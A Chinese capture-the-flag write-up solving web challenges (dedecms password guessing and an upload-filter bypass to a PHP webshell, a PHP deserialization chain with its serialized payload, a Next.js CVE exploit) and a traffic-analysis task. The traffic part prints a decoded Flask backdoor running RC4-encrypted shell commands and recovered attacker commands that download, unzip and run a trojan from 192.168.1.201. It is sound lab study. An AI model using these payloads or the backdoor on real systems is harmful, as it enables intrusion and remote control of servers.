WEB

dedecms

进入题目环境,是一个基于dedecms的博客系统,注册一个测试账号

 

信息全部填test就可以

自动跳转到会员中心,观察右下角发现有2个用户,对这两个账号分别入手

他们都是高级会员,说不定账号权限都是admin,分别对他们的账号进行弱密码爆破试试

查阅资料,dedecms的后台管理页面通过/dede/login.php进入

最后测试出来Aa123456789的密码就是账号名

登录到后台管理页面之后最显眼的是右上角的搜索框,可能会有sql注入点

但是输入单引号'之后会被自动变为\,应该不是sql注入

了解清楚dedecms的后台机制之后发现在核心-内容管理-普通文章-添加文档-缩略图(本地上传)这个地方大概率会有文件上传漏洞

抓包上传一个PHP一句话试试

直接上传被过滤了,可以试试改为图片头,同时mime类型改为gif,这样就可以绕过waf

上传文件在**/uploads/allimg/251228/2-25122QPF20-L.**getshell!

可以看到flag就在根目录,cat /flag.txt得到flag

hellogate

进入题目环境,给了一张图片,抓包看看

翻到最下面发现有一段php代码

error_reporting(0);
class A {
  public $handle;
  public function triggerMethod() {
    echo "" . $this->handle; 
  }
}
class B {
  public $worker;
  public $cmd;
  public function __toString() {
    return $this->worker->result;
  }
}
class C {
  public $cmd;
  public function __get($name) {
    echo file_get_contents($this->cmd);
  }
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();<code><span style="color: #000000">
  <span style="color: #0000BB">&lt;?php<br />error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />class&nbsp;</span><span style="color: #0000BB">A&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">$handle</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: #0000BB">triggerMethod</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">""&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">handle</span><span style="color: #007700">;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br />class&nbsp;</span><span style="color: #0000BB">B&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">$worker</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: #0000BB">__toString</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">worker</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br />class&nbsp;</span><span style="color: #0000BB">C&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">$cmd</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: #0000BB">__get</span><span style="color: #007700">(</span><span style="color: #0000BB">$name</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$this</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">cmd</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span><span style="color: #0000BB">$raw&nbsp;</span><span style="color: #007700">=&nbsp;isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'data'</span><span style="color: #007700">])&nbsp;?&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'data'</span><span style="color: #007700">]&nbsp;:&nbsp;</span><span style="color: #DD0000">''</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Content-Type:&nbsp;image/jpeg'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">readfile</span><span style="color: #007700">(</span><span style="color: #DD0000">"muzujijiji.jpg"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">unserialize</span><span style="color: #007700">(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'data'</span><span style="color: #007700">]);<br /></span><span style="color: #0000BB">$obj</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">triggerMethod</span><span style="color: #007700">();</span>
</span>
</code>

仔细阅读代码,第25行

$obj = unserialize($_POST['data']);

这道题应该是考查php反序列化

继续分析


class A:

  • 入口点:triggerMethod() 方法中执行了 echo "" . $this->handle;
  • 利用点:将对象当作字符串拼接时,会触发该对象的 __toString()方法,我们需要将 $handle 赋值为一个实现了 __toString 的对象(即 class B)

class B:

  • 魔术方法:__toString() 方法中返回了 $this->worker->result
  • 利用点:它访问了 $worker 对象的 result 属性。如果我们让 $worker 成为一个没有 result 属性的对象,就会触发该对象的 __get() 方法(即 class C)

class C:

  • 魔术方法:__get($name) 方法中执行了 echo file_get_contents($this->cmd);
  • 终点:这是我们最终想要执行的代码。file_get_contents 可以读取文件内容,我们需要将 $cmd 设置为执行的命令

分析结束,开始写payload

<?php

class A {
    public $handle;
}

class B {
    public $worker;
    public $cmd;
}

class C {
    public $cmd;
}

//构造 C,读取 flag
$c = new C();
$c->cmd = '/flag';

//构造 B,让 worker 指向 C
$b = new B();
$b->worker = $c;
$b->cmd = null;

//构造 A,让 handle 指向 B
$a = new A();
$a->handle = $b;

// 4. 生成序列化字符串
echo serialize($a);
?>

生成出来

O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:5:"/flag";}s:3:"cmd";N;}}

然后发送POST请求,参数名为data,拿到flag

redjs

小明在服务器上部署了一个常用的框架,请你帮忙看看是否有问题。

查询一下redjs这个框架,发现有现成cve可利用,编号为CVE-2025-55182

GitHub上面有一个自动攻击该漏洞的工具

简介

一款针对 CVE-2025-55182 的独立安全评估工具,基于 Go 开发,提供图形化界面(GUI),用于快速完成漏洞检测与验证。

https://github.com/Rsatan/Next.js-Exploit-Tool

确实存在这个漏洞,直接RCE,flag依然在根目录

 

 

流量分析

准备工作

下载附件,wireshark打开,按照惯例,筛选一下http协议的流量包,大致浏览一下,是一个ip多次登录网站后台,但是密码一直不对,导出分组解析结果为纯文本看的更清晰

SnakeBackdoor-1

近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。

 

攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

需要找到爆破成功的后台密码,打开刚刚导出来的纯文本,Ctrl+F查找登录成功自动定位到爆破出来密码的位置

阅读上下文,可以看到登录密码为zxcvbnm123

flag1:

flag{zxcvbnm123}

SnakeBackdoor-2

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}

继续Ctrl+F定位KEY

SECRET_KEY就在这里c6242af0-6891-4510-8432-e1cdf051f160

flag2:

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}

加密过程就在这个地方,sublime显示不全,这里需要导出html文件在浏览器里面打开显示完整base

解出来第一层还是编码后的字符串,说明有多层加密,这里可以利用脚本直接解出多层base

import base64, zlib, re

def unpack(code_bytes, max_iter=300):
    for i in range(max_iter):
        s = code_bytes.decode("latin1", "ignore")
        m = re.search(r"exec\(\(_\)\(b'([^']+)'\)\)", s)
        if not m: return code_bytes, i
        code_bytes = zlib.decompress(base64.b64decode(m.group(1).encode()[::-1]))
    return code_bytes, max_iter

b64 = "Xy开头的base(减少文章篇幅就不写了)"

code_bytes = base64.b64decode(b64).decode("latin1", "ignore").encode("latin1")
result, layers = unpack(code_bytes)
print(f"layers: {layers}")
print(result.decode("latin1", "ignore"))

解密出来结果为以下内容

layers: 32
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
def backdoor_handler():
        if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
                return "Error"
        enc_hex_cmd = request.form.get('data')
        if not enc_hex_cmd:
                return ""
        try:
                enc_cmd = binascii.unhexlify(enc_hex_cmd)
                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
                output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
                enc_output = rc4_crypt(output_bytes, RC4_SECRET)
                return binascii.hexlify(enc_output).decode()
        except:
                return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

可以看到密钥字符串(Key)在其中b'v1p3r_5tr1k3_k3y'

flag3:

flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

这里需要用第3题解出来的脚本,在pcap文件里面记录了被加密过后的data数据,需要利用脚本解密RC4

import binascii

RC4_SECRET = b"v1p3r_5tr1k3_k3y"

def rc4(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) & 0xff
        S[i], S[j] = S[j], S[i]
    i = j = 0
    out = bytearray()
    for ch in data:
        i = (i + 1) & 0xff
        j = (j + S[i]) & 0xff
        S[i], S[j] = S[j], S[i]
        out.append(ch ^ S[(S[i] + S[j]) & 0xff])
    return bytes(out)

hex_str = "这里是pcap当中每一次出现的data"
pt = rc4(binascii.unhexlify(hex_str), RC4_SECRET)
print(pt.decode(errors="ignore"))

在hex_str当中填入如图每一次出现的data数据

运行后依次得到内容

  • uid=0(root) gid=0(root) groups=0(root)
  • total 36
  • drwxr-xr-x 5 root root 4096 Dec 20 13:55 .
  • drwxr
  • curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
  • unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
  • Archive: /tmp/123.zip
  • inflating: /tmp/shell
  • mv /tmp/shell /tmp/python3.13
  • chmod +x /tmp/python3.13
  • /tmp/python3.13

很清晰地记录了每一次的命令,目标是要找木马进程执行的本体文件,木马原本应该是shell,但是被移动到了python3.13,同时可以看到给python3.13加了可执行权限,此时的木马文件就变成了python3.13

flag4:

flag{python3.13}

 

 

 

允许自己做自己 允许一切如其所是 主方向:web安全
最后更新于 2025-12-29